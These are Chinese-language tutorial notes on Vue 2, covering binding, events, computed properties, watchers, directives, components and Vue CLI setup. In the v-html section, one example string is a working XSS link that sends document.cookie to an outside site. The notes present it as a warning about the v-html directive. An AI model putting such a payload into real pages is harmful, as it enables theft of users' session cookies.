Vue简介 vue官网地址 :Vue.js - 渐进式 JavaScript 框架 | Vue.js (vuejs.org)
vue是一套用于构建用户界面的渐进式JavaScript框架
渐进式:Vue可以自底向上逐层的应用
简单应用:只需要一个轻量小巧的核心库
复杂应用:可以引入各式各样的Vue插件
Vue的特点 1、采用组件化的模式,提高代码复用率且让代码更加好维护
2、声明式编码,让编码人员无需直接操作DOM,提高开发效率
3、使用虚拟DOM+优秀的Diff算法,尽量复用DOM结点
Vue数据绑定 单向绑定: v-bind : 数据只能从data流向页面
简写形式: v-bind:value 可简写为 :value
双向绑定: v-model : 数据不仅能从data流向页面,还可以从页面流向data。
注意:
1、双向绑定一般都应用在表单类元素上(如:input、select等)
2、v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。
el与data的两种写法 el: 第一种写法:
1 2 3 new Vue ({ el : '#root' })
第二种写法:
1 2 3 4 const vm = new Vue ({}) vm.$mount('#root' )
data: 第一种写法:
1 2 3 4 5 new Vue({ data: { name: '张三' } })
第二种写法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 new Vue ({ data : function ( ) { return { name : '张三' } } }) new Vue ({ data ( ) { return { name : '张三' } } })
MVVM模型
1、M:模型(Model):对应 data 中的数据
2、V:视图(View):模板
3、VM:视图模型(ViewModel):Vue 实例对象
数据代理 1 2 3 4 5 6 Object.defineProperty(person, 'age', { value: 18, enumerable: true,//控制属性是否可以枚举,默认值是false writable: true,//控制属性是否可以被修改,默认值是false configurable: true//控制属性是否可以被删除,默认值是false })
解释: 通过一个对象代理对另一个对象中属性的操作(读 / 写)
例:
1 2 3 4 5 6 7 8 9 10 11 12 let obj1 = {x :100 }let obj2 = {y :200 }Object .defineProperty (obj2, 'x' , { get ( ) { return obj1.x } set (value ) { obj1.x = value } })
Vue中的数据代理(个人理解):
事件处理 1 2 3 4 5 6 7 8 9 <body > <div id ="root" > <h2 > 姓名:{{name}}</h2 > <button v-on:click ="showinfo" > 提示信息</button > <button @click ="showinfo($event,666)" > 提示信息</button > </div > </body >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const vm = new Vue ({ el : '#root' , data : { name : '张三' }, methods : { showinfo (event, number ) { if (number) { alert ('同学你好!' + number); } else { alert ('同学你好!' ) } } } });
事件修饰符
prevent
阻止默认事件(常用)
stop
阻止事件冒泡(常用)
once
事件只触发一次(常用)
capture
使用事件的捕获模式
self
只有event.target是当前操作的元素时才会触发事件
passive
事件的默认行为立即执行,无需等待事件回调执行完毕
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <a href ="http://www.baidu.com" @click.prevent ="showInfo" > 百度</a > <div class ="demo1" @click ="showInfo" > <button @click.stop ="showInfo" > 提示信息</button > </div > <button @click.once ="showInfo" > 提示信息</button > <div class ="box1" @click.capture ="showMsg($event,1)" > div1 <div class ="box2" @click ="showMsg($event,2)" > div2 <div class ="box3" @click ="showMsg($event,3)" > div3 </div > </div > </div > <div class ="demo1" @click.self ="showInfo" > <button @click ="showInfo" > 提示信息</button > </div > <ul @wheel.passive ="demo" class ="list" > <li > 1</li > <li > 2</li > <li > 3</li > <li > 4</li > </ul >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const vm = new Vue ({ el : '#root' , data : { name : '张三' }, methods : { showInfo (event ) { alert ('同学你好!' ); }, showMsg (event, msg ) { alert (msg); }, demo ( ) { alert ('@@@' ); } } });
键盘事件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <body > <div id ="root" > <input type ="text" placeholder ="按下回车提示输入" @keyup.enter ="showInfo" > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data : { }, methods : { showInfo (event ) { console .log (event.target .value ) } } }); </script >
计算属性 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <body > <div id ="root" > 姓:<input type ="text" v-model ="firstName" > <br /> <br /> 名: <input type ="text" v-model ="lastName" > <br /> <br /> 全名: <span > {{fullName}}</span > <br /> <br /> 全名:<span > {{fullName}}</span > <br /> <br /> 全名: <span > {{fullName}}</span > <br /> <br /> 全名: <span > {{fullName}}</span > </div > </body > <script type ="text/javascript" > Vue .config .productTip = false ; const vm = new Vue ({ el : '#root' , data : { firstName : '张' , lastName : '三' }, computed : { fullName : { get ( ) { console .log ('get被调用了' ); return this .firstName + '-' + this .lastName }, set (value ) { const arr = value.split ('-' ); this .firstName = arr[0 ]; this .lastName = arr[1 ]; } } } });
计算属性的简写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <body > <div id ="root" > 姓:<input type ="text" v-model ="firstName" > <br /> <br /> 名: <input type ="text" v-model ="lastName" > <br /> <br /> 全名: <span > {{fullName}}</span > <br /> <br /> 全名:<span > {{fullName}}</span > <br /> <br /> 全名: <span > {{fullName}}</span > <br /> <br /> 全名: <span > {{fullName}}</span > </div > </body > <script type ="text/javascript" > Vue .config .productTip = false ; const vm = new Vue ({ el : '#root' , data : { firstName : '张' , lastName : '三' }, computed : { fullName ( ) { console .log ('get被调用了' ); return this .firstName + '-' + this .lastName } } }); </script >
监视属性 例如:data: { isHot: true }
方式一:
1 2 3 4 5 6 7 8 9 10 watch : { isHot : { immediate : true , handler (newValue, oldValue ) { console .log ('isHot被修改了' , newValue, oldValue); } } }
简写:
1 2 3 4 5 watch : { isHot (newValue, oldValue ) { console .log ('isHot被修改了' , newValue, oldValue); } }
注意:简写形式无法开启其它的配置项
方式二:
1 2 3 4 5 6 7 8 vm.$watch('isHot' , { immediate : true , handler (newValue, oldValue ) { console .log ('isHot被修改了' , newValue, oldValue); } })
简写:
1 2 3 vm.$watch('isHot' , function (newValue, oldValue ) { console .log ('isHot被修改了' , newValue, oldValue); })
注意:简写形式无法开启其它的配置项
深度监视 data中的数据:
1 2 3 4 5 6 data : { numbers : { a : 1 , b : 1 } }
监视多级结构中某个属性的变换:
1 2 3 4 5 'numbers.a' : { handler ( ) { console .log ('a被改变了' ); } }
监视多级结构中所有属性的变化:
1 2 3 4 5 6 numbers : { deep : true , handler ( ) { console .log ('numbers改变了' ); } }
注意:
深度监视:
(1)Vue中的watch默认不检测对象内部值的改变(一层)
(2)配置deep:true可以检测对象内部值改变(多层)
备注:
(1)Vue自生可以监视对象内部值的改变,但Vue提供的watch默认不可以
(2)使用watch时根据数据的具体结构,决定是否采用深度监视
注意:watch可以开启异步任务,而计算属性不能开启异步任务
关于一个函数是否写成箭头函数的说明
1、所有被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象
2、所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数、Promise的回调函数),最好写成箭头函数,这样this的指向才是vm 或 组件实例对象
解释:1、被Vue管理的函数写成了箭头函数,此时函数的this指向window 2、不被Vue所管理的函数如果写成普通函数,此时函数的this指向自己,就不能指向vm了
绑定样式 相关样式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <style > .basic { width : 300px ; height : 200px ; border : 2px solid grey; text-align : center; line-height : 200px ; } .red { background-color : red; } .green { background-color : green; } .blue { background-color : blue; } .pink { background-color : pink; } .radium { border-radius : 15px ; } </style >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <body > <div id ="root" > <div class ="basic" :class ="color" @click ="change" > {{name}}</div > <div class ="basic" :class ="ClassArr" > {{name}}</div > <div class ="basic" :class ="classObj" > {{name}}</div > <div class ="basic" :style ="styleObj" > {{name}}</div > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el : "#root" , data ( ) { return { name : 'test' , color : 'normal' , ClassArr : ['pink' , 'radium' ], classObj : { red : false , pink : false , radium : false }, styleObj : { fontSize : '40px' , color : 'red' , backgroundColor : 'orange' } } }, methods : { change ( ) { const arr = ['red' , 'green' , 'blue' , 'pink' ] const index = Math .floor (Math .random () * 4 ); this .color = arr[index]; } } }); </script >
条件渲染 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <body > <div id ="root" > <h2 > n:{{n}}</h2 > <button @click ="n++" > 点我n+1</button > <h2 > 姓名:</h2 > <div v-if ="n % 3 == 0" > 张三</div > <div v-else-if ="n % 3 == 1" > 李四</div > <div v-else ="n % 3 == 2" > 王五</div > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el : '#root' , data ( ) { return { n : 0 , name : '张三' } } }); </script >
列表渲染 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <body > <div id ="root" > <ul > <li v-for ="(p,index) in persons" :key ="index" > {{p.name}}-{{p.age}}</li > </ul > <ul > <li v-for ="(value,key) of car" :key ="key" > {{key}}-{{value}}</li > </ul > <ul > <li v-for ="(value,key) in str" :key ="key" > {{key}}-{{value}}</li > </ul > <ul > <li v-for ="(number,index) of 5" :key ="index" > {{index}}-{{number}} </li > </ul > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data : { persons : [{ id : '001' , name : '张三' , age : 18 }, { id : '002' , name : '李四' , age : 19 }, { id : '003' , name : '王五' , age : 20 }, ], car : { name : '奥迪A8' , price : '50万' , color : '黑色' }, str : "hello" } }); </script >
列表的过滤 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <body> <div id ="root" > <input type ="text" placeholder ="请输入名字" v-model ="keyWord" > <ul > <li v-for ="(p,index) in filPersons" :key ="index" > {{p.name}}-{{p.age}}</li > </ul > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data : { keyWord : '' , persons : [{ id : '001' , name : '张三' , age : 18 }, { id : '002' , name : '李四' , age : 19 }, { id : '003' , name : '王五' , age : 20 }, { id : '004' , name : '张四' , age : 21 }, { id : '005' , name : '张五' , age : 22 }, { id : '006' , name : '王三' , age : 23 }] }, computed : { filPersons ( ) { return this .persons .filter ((p ) => { return p.name .indexOf (this .keyWord ) !== -1 ; }) } } }); </script >
补充知识: 解决vscode代码不能折叠的问题
1 2 3 #region `````` #endregion
列表排序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <body > <div id ="root" > <input type ="text" placeholder ="请输入名字" v-model ="keyWord" > <button @click ="sortType = 2" > 年龄升序</button > <button @click ="sortType = 1" > 年龄降序</button > <button @click ="sortType = 0" > 原顺序</button > <ul > <li v-for ="(p,index) in filPersons" :key ="p.id" > {{p.name}}-{{p.age}}</li > </ul > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data : { keyWord : '' , sortType : 0 , persons : [{ id : '001' , name : '张三' , age : 19 }, { id : '002' , name : '李四' , age : 18 }, { id : '003' , name : '王五' , age : 20 }, { id : '004' , name : '张四' , age : 22 }, { id : '005' , name : '张五' , age : 21 }, { id : '006' , name : '王三' , age : 23 }] }, computed : { filPersons ( ) { const arr = this .persons .filter ((p ) => { return p.name .indexOf (this .keyWord ) !== -1 ; }) if (this .sortType ) { arr.sort ((p1, p2 ) => { return this .sortType === 1 ? p2.age - p1.age : p1.age - p2.age ; }) } return arr; } } }); </script >
Vue中set的使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <body > <div id ="root" > <div > name:{{user.name}}</div > <div v-if ="user.sex" > sex:{{user.sex}}</div > <button @click ="addSex" > 点击添加性别属性</button > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data ( ) { return { user : { name : '张三' } } }, methods : { addSex ( ) { this .$set(this .user , 'sex' , '女' ); } } }); </script >
注意:通过索引修改数组中的值,Vue无法监测到,也就无法实时修改页面,例如vm.hobby[0] = ‘xxx’;
但是当调用数组的相关方法(push、pop、shift、unshift、splice、sort、reverse)时,Vue是可以监测到的,例如vm.hobby.splice(0,1,’xxx’);或 Vue.set(vm.hobby,1(数组索引),’xxx’)或vm.$set(vm.hobby,1(数组索引),’xxx’)解释:从数组hobby下标为0初开始删除1个,并将此处替换为xxx。
收集表单数据 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <body > <div id ="root" > <form action ="" @submit.prevent ="demo" > <label for ="demo1" > 账号:</label > <input type ="text" name ="" id ="demo1" v-model.trim ="userInfo.accout" > <br /> <br /> <label for ="demo2" > 密码:</label > <input type ="text" name ="" id ="demo2" v-model ="userInfo.password" > <br /> <br /> 年龄: <input type ="number" v-model.number ="userInfo.age" > <br /> <br /> 性别: 男 <input type ="radio" name ="sex" value ="male" v-model ="userInfo.sex" > 女 <input type ="radio" name ="sex" value ="female" v-model ="userInfo.sex" > <br /> <br /> 爱好: 学习 <input type ="checkbox" v-model ="userInfo.hobby" value ="study" > 打游戏 <input type ="checkbox" v-model ="userInfo.hobby" value ="game" > 吃饭 <input type ="checkbox" v-model ="userInfo.hobby" value ="eat" > <br /> <br /> 所属校区 <select v-model ="userInfo.city" > <option value ="" > 请选择校区</option > <option value ="beijing" > 北京</option > <option value ="shanghai" > 上海</option > <option value ="shenzhen" > 深圳</option > <option value ="wuhan" > 武汉</option > </select > <br /> <br /> 其他信息: <textarea name ="" id ="" cols ="30" rows ="10" v-model.lazy ="userInfo.other" > </textarea > <br /> <br /> <input type ="checkbox" v-model ="userInfo.agree" > 阅读并接受 <a href ="http://www.baidu.com" > 《用户协议》</a > <button > 提交</button > </form > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data ( ) { return { userInfo : { accout : '' , password : '' , age : '' , sex : 'female' , hobby : [], city : 'beijing' , other : '' , agree : '' } } }, methods : { demo ( ) { console .log (JSON .stringify (this .userInfo )); } }, });
过滤器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <body > <div id ="root" > <h2 > 现在时间:{{fmtTime}}</h2 > <h3 > 现在时间:{{getFmtTime()}}</h3 > <h2 > 现在时间:{{time | timeFormater}}</h2 > <h2 > 现在时间:{{time | timeFormater('YYYY_MM_DD') | sliceTime}}</h2 > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data ( ) { return { time : Date .now () } }, computed : { fmtTime ( ) { return dayjs (this .time ).format ('YYYY年MM月DD日 HH:mm:ss' ); } }, methods : { getFmtTime ( ) { return dayjs (this .time ).format ('YYYY年MM月DD日 HH:mm:ss' ); } }, filters : { timeFormater (value, str = 'YYYY年MM月DD日 HH:mm:ss' ) { return dayjs (value).format (str); }, sliceTime (value ) { return value.slice (0 , 4 ); } } }) </script >
内置指令 v-text 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <body > <div id ="root" > <div v-text ="name" > </div > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data : { name : '张三' } }) </script >
v-html 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <body > <div id ="root" > <div v-html ="str" > </div > <div v-html ="str2" > </div > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data ( ) { return { str : '<h1>张三</h1>' , str2 : '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>危险链接</a>' } }, }) </script >
如果cookie的HttpOnly为true则通过document.cookie无法获得cookie XSS攻击(冒充用户之手)
v-cloak 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > v-cloak</title > <style > [v-cloak] { display : none; } </style > </head > <body > <div id ="root" > <h2 v-cloak > {{name}}</h2 > </div > <script type ="text/javascript" src ="../js/vue.js" > </script > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data ( ) { return { name : '张三' } }, }) </script >
v-once 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <body > <div id ="root" > <h2 v-once > 开始时n的值是:{{n}}</h2 > <h2 > 当前n的值是:{{n}}</h2 > <button @click ="n++" > n++</button > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data ( ) { return { n : 1 } }, }) </script >
v-pre 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <body > <div id ="root" > <h2 v-pre > Vue不会解析的内容</h2 > <h2 > 当前n的值是:{{n}}</h2 > <button @click ="n++" > n++</button > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data ( ) { return { n : 1 } }, }) </script >
自定义指令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <body > <div id ="root" > <h2 > 当前的n值是:<span v-text ="n" > </span > </h2 > <h2 > 放大10倍后的n值是:<span v-big ="n" > </span > </h2 > <button @click ="n++" > n++</button > <hr /> <input type ="text" v-fbind:value ="n" > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data ( ) { return { n : 1 } }, directives : { big (element, binding ) { element.innerText = binding.value * 10 ; }, fbind : { bind (element, binding ) { element.value = binding.value ; }, inserted (element, binding ) { element.focus (); }, update (element, binding ) { element.value = binding.value ; }, } } }) </script >
如果指令名为多个单词要用-分隔开,在directives对象中要用’’包裹,如’big-number’:{}
生命周期
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <body > <div id ="root" > <h2 v-if ='a' > hello</h2 > <h2 :style ="{opacity}" > 张三</h2 > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data ( ) { return { a : false , opacity : 1 } }, methods : { change ( ) { setInterval (() => { this .opacity -= 0.01 ; if (this .opacity <= 0 ) this .opacity = 1 ; }, 16 ); } }, mounted ( ) { this .change (); }, }) </script >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <body > <div id ="root" > <h2 > 当前的n值:{{n}}</h2 > <button @click ="add" > n+1</button > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const vm = new Vue ({ el : '#root' , data ( ) { return { n : 1 } }, methods : { add ( ) { this .n ++; } }, }) </script >
组件
注意组件中的data不能写成写成一个对象,要写成函数的形式;如果写成对象在进行组件复用的时候会出现一个问题:当其中一个地方的值修改了,相应的应用了这个组件的对应值也会发生改变;其实实质上它们使用的是同一个内存中的对象。
组件的使用 1、创建组件
2、注册组件
3、使用组件
非单文件组件(不常用) 基本使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 <body > <div id ="root" > <h2 > {{msg}}</h2 > <hr > <user1 > </user1 > <hr > <user2 > </user2 > <user1 > </user1 > <hr > <hello > </hello > </div > <div id ="root2" > <hello > </hello > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false ; const user1 = Vue .extend ({ template : ` <div> <h2>姓名1:{{name1}}</h2> <h2>年龄1:{{age1}}</h2> <button @click="name">showname</button> </div> ` , data ( ) { return { name1 : '张三' , age1 : 18 } }, methods : { name ( ) { alert (this .name1 ); } }, }) const user2 = Vue .extend ({ template : ` <div> <h2>姓名2:{{name2}}</h2> <h2>年龄2:{{age2}}</h2> </div> ` , data ( ) { return { name2 : '李四' , age2 : 20 } } }) const hello = Vue .extend ({ template : ` <div> <h2>::{{names}}</h2> </div> ` , data ( ) { return { names : 'hello' } } }) Vue .component ('hello' , hello); const vm = new Vue ({ el : '#root' , data : { msg : '你好' }, components : { user1, user2 } }) new Vue ({ el : '#root2' , }) </script >
如果子组件中写了name属性(name: ‘user1’),无论vm的components中注册时怎么写,在使用此子组件时都写 ;如果子组件中没有写name属性,则vm的components中注册时怎么写,在使用该子组件时就怎么写。
几个注意点
1、关于组件名:
一个单词组成:
第一种写法(首字母小写):school
第一个写法(首字母大写):School
多个单词组成:
第一种写法(kebab-case命名):my-school
第二种写法(CamelCase命名):MySchool(需要Vue脚手架支持)
2、关于组件标签:
第一种写法:
第二种写法:
注意:不用使用脚手架时, 会导致后续组件不能渲染
3、简写方式:
const school = Vue.extend(options) 可以简写为:const school = options
组件的嵌套 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <body > <div id ="root" > </div > </body > <script type ="text/javascript" > Vue.config.productionTip = false; // 定义组件 const student = Vue.extend({ template: ` <div > <h2 > 学生姓名: {{name }} </h2 > <h2 > 学生年龄: {{age }} </h2 > </div > `, data() { return { name: '张三', age: 18 } }, }) const hello = Vue.extend({ template: ` <h2 > {{msg }} </h2 > `, data() { return { msg: 'welcome' } }, }) const school = Vue.extend({ template: ` <div > <h2 > 学校名称: {{name }} </h2 > <h2 > 学校地址: {{address }} </h2 > <student > </student > </div > `, data() { return { name: 'xxx大学', address: '武汉' } }, components: { student } }) // 定义app组件 const app = Vue.extend({ template: ` <div > <hello > </hello > <school > </school > </div > `, components: { hello, school } }) const vm = new Vue({ template: `<app > </app > `, el: '#root', //注册组件(局部) components: { app } }) </script >
vm -> app -> 各级子组件
VueComponent 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <body > <div id ="root" > <school > </school > </div > </body > <script type ="text/javascript" > Vue.config.productionTip = false; // 定义组件 const school = Vue.extend({ template: ` <div > <h2 > 学校名称: {{name }} </h2 > <h2 > 学校地址: {{address }} </h2 > </div > `, data() { return { name: 'xxx大学', address: '武汉' } } }) new Vue({ el: '#root', components: { school } }) </script >
每一个组件实例就是一个构造函数
一个重要的内置关系 1 /* VueComponent.prototype.__proto__ === Vue.prototype */
上图黄色线的作用:让VueComponent的实例也可访问到Vue的原型对象
单文件组件(常用)
vscode默认情况下是不认识.vue文件的,如果要想在vscode中编写.vue文件就需要安装一个 Vetur 插件。
安装完插件后再vscode中输入 <v 就可以生成一个.vue文件中对应的三个标签 、、
基本使用(以下文件在浏览器中无法显示,在Vue脚手架中就可以正常显示了) School.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <template> <!-- 组件的结构 --> <div class="demo"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">提示学校名</button> </div> </template> <script> // 组件交互相关的代码(数据、方法等等) export default {//默认暴露(当只需要暴露一个对象的时候一般采用默认暴露)(对应导入方式:import School from './School') name:'School', data() { return { name: 'xxx大学', address: '武汉' } }, methods: { showName() { alert(this.name); } }, } </script> <style> /* 组件的样式 */ .demo { background-color: pink; } </style>
Student.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <template> <!-- 组件的结构 --> <div> <h2>学生姓名:{{name}}</h2> <h2>学生年龄:{{age}}</h2> </div> </template> <script> // 组件交互相关的代码(数据、方法等等) export default { name:'Student', data() { return { name: 'xxx大学', age: 18 } }, } </script>
App.vue
作用:整合所有的子组件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <template> <div> <School></School> <Student></Student> </div> </template> <script> //先导入相应的组件 import School from './School' import Student from './Student' //在此处注册对应的组件 export default {//默认暴露 name: 'App', components:{ School, Student } } </script> <style> </style>
main.js
管理App组件(vm)
1 2 3 4 5 6 7 8 import App from './App.vue' new Vue ({ el : '#root' , template : `<App></App>` , components : { App }, })
index.html
模板容器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Document</title > </head > <body > <div id ="root" > </div > <script type ="text/javascript" src ="../js/vue.js" > </script > <script type ="text/javascript" src ="./main.js" > </script > </body > </html >
Vue2(Vue CLI)(Vue脚手架) (Vue command line interface) 官方网站:https://cli.vuejs.org/zh/
脚手架的版本号要高于Vue的的版本
使用步骤:
1、(仅第一次执行):全局安装 @vue/cli
切换镜像源加快下载安装速度:
1 npm config set registry https://registry.npmmirror.com
全局安装命令:
注意:如果该命令执行过一次后,以后就不需要再执行了。
2、切换到你要创建项目的目录 ,然后使用如下命令创建项目
当执行完这一条命令的时候,控制台会出现如下信息
Please pick a preset:(Use arrow keys)
Default ([Vue 2] babel. eslint)
Default (Vue 3) ([Vue 3] babel. eslint)
Manually select features
此处是要求你选择一个Vue的版本,也就是说是Vue 2的项目还是Vue 3的项目。
其中babel的作用:ES6 ===> ES5
其中eslint的作用:语法检查
3、启动项目
脚手架中文件的分析 .gitignore :git忽略文件
babel.config.js :babel的配置ES6 ===> ES5
package-lock.json :包版本控制文件,配置了各个包的所有的相关信息
package.json :只存储了各个包的名称和版本号
README.md :项目说明
src文件夹 main.js 当我们执行了npm run serve后首先执行的就是这个main.js文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import Vue from 'vue' import App from './App.vue' Vue .config .productionTip = false ;new Vue ({ render : h => h (App ) }).$mount('#app' )
import Vue from ‘vue’的执行流程:
找到node_modules/vue/package.json,找到其中的module属性,module属性对应的值就是这条语句所引入的vue文件
关于不同版本的Vue:
1、vue.js与vue.runtime.xxx.js的区别:
(1)vue.js是完整版的Vue,包括:核心功能+模板解析器
(2)vue.runtime.xxx.js是运行版的Vue,只包含:核心功能:没有模板解析器
2、因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的create Element函数去指定具体内容
assets文件夹 一般存放静态资源例如图片、视频
components文件夹 存放各个子组件(除了App.vue)
App.vue 管理各个子组件,导入并注册所有的子组件
public文件夹 index.hmtl 整个页面的界面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <!DOCTYPE html > <html lang ="" > <head > <meta charset ="utf-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width,initial-scale=1.0" > <link rel ="icon" href ="<%= BASE_URL %>favicon.ico" > <link rel ="stylesheet" href ="<%= BASE_URL %>css/bootstrap.css" > <title > Welcome </title > </head > <body > <noscript > <strong > We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong > </noscript > <div id ="app" > </div > </body > </html >
css文件夹 存放一些css文件
修改vue的默认配置
在package.json 同级目录下新建一个vue.config.js 详细配置信息如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 const { defineConfig } = require ('@vue/cli-service' )module .exports = defineConfig ({ transpileDependencies : true , pages : { index : { entry : 'src/main.js' , template : 'public/index.html' , filename : 'index.html' , title : 'Index Page' , chunks : ['chunk-vendors' , 'chunk-common' , 'index' ] }, }, lintOnSave : false , devServer : { proxy : { '/zjq' : { target : 'http://localhost:5000' , pathRewrite : { '^/zjq' : '' }, ws : true , changeOrigin : true }, } } })
ref属性的使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <template> <div> <h1 v-text="msg" ref="title"></h1> <button ref="btn" @click="showDom">点击输出上方的DOM元素</button> <school ref="sch"/> </div> </template> <script> //导入已经写好的School组件 import School from './components/School.vue' export default { name: 'App', components:{School}, data() { return { msg: 'hello,welcome' } }, methods: { showDom(){ console.log(this.$refs.title);//输出真实DOM元素 console.log(this.$refs.btn);//输出真实DOM元素 console.log(this.$refs.sch);//School组件的实例对象(vc) } } } </script>
props属性的使用和自定义事件
实现组件间的数据传递
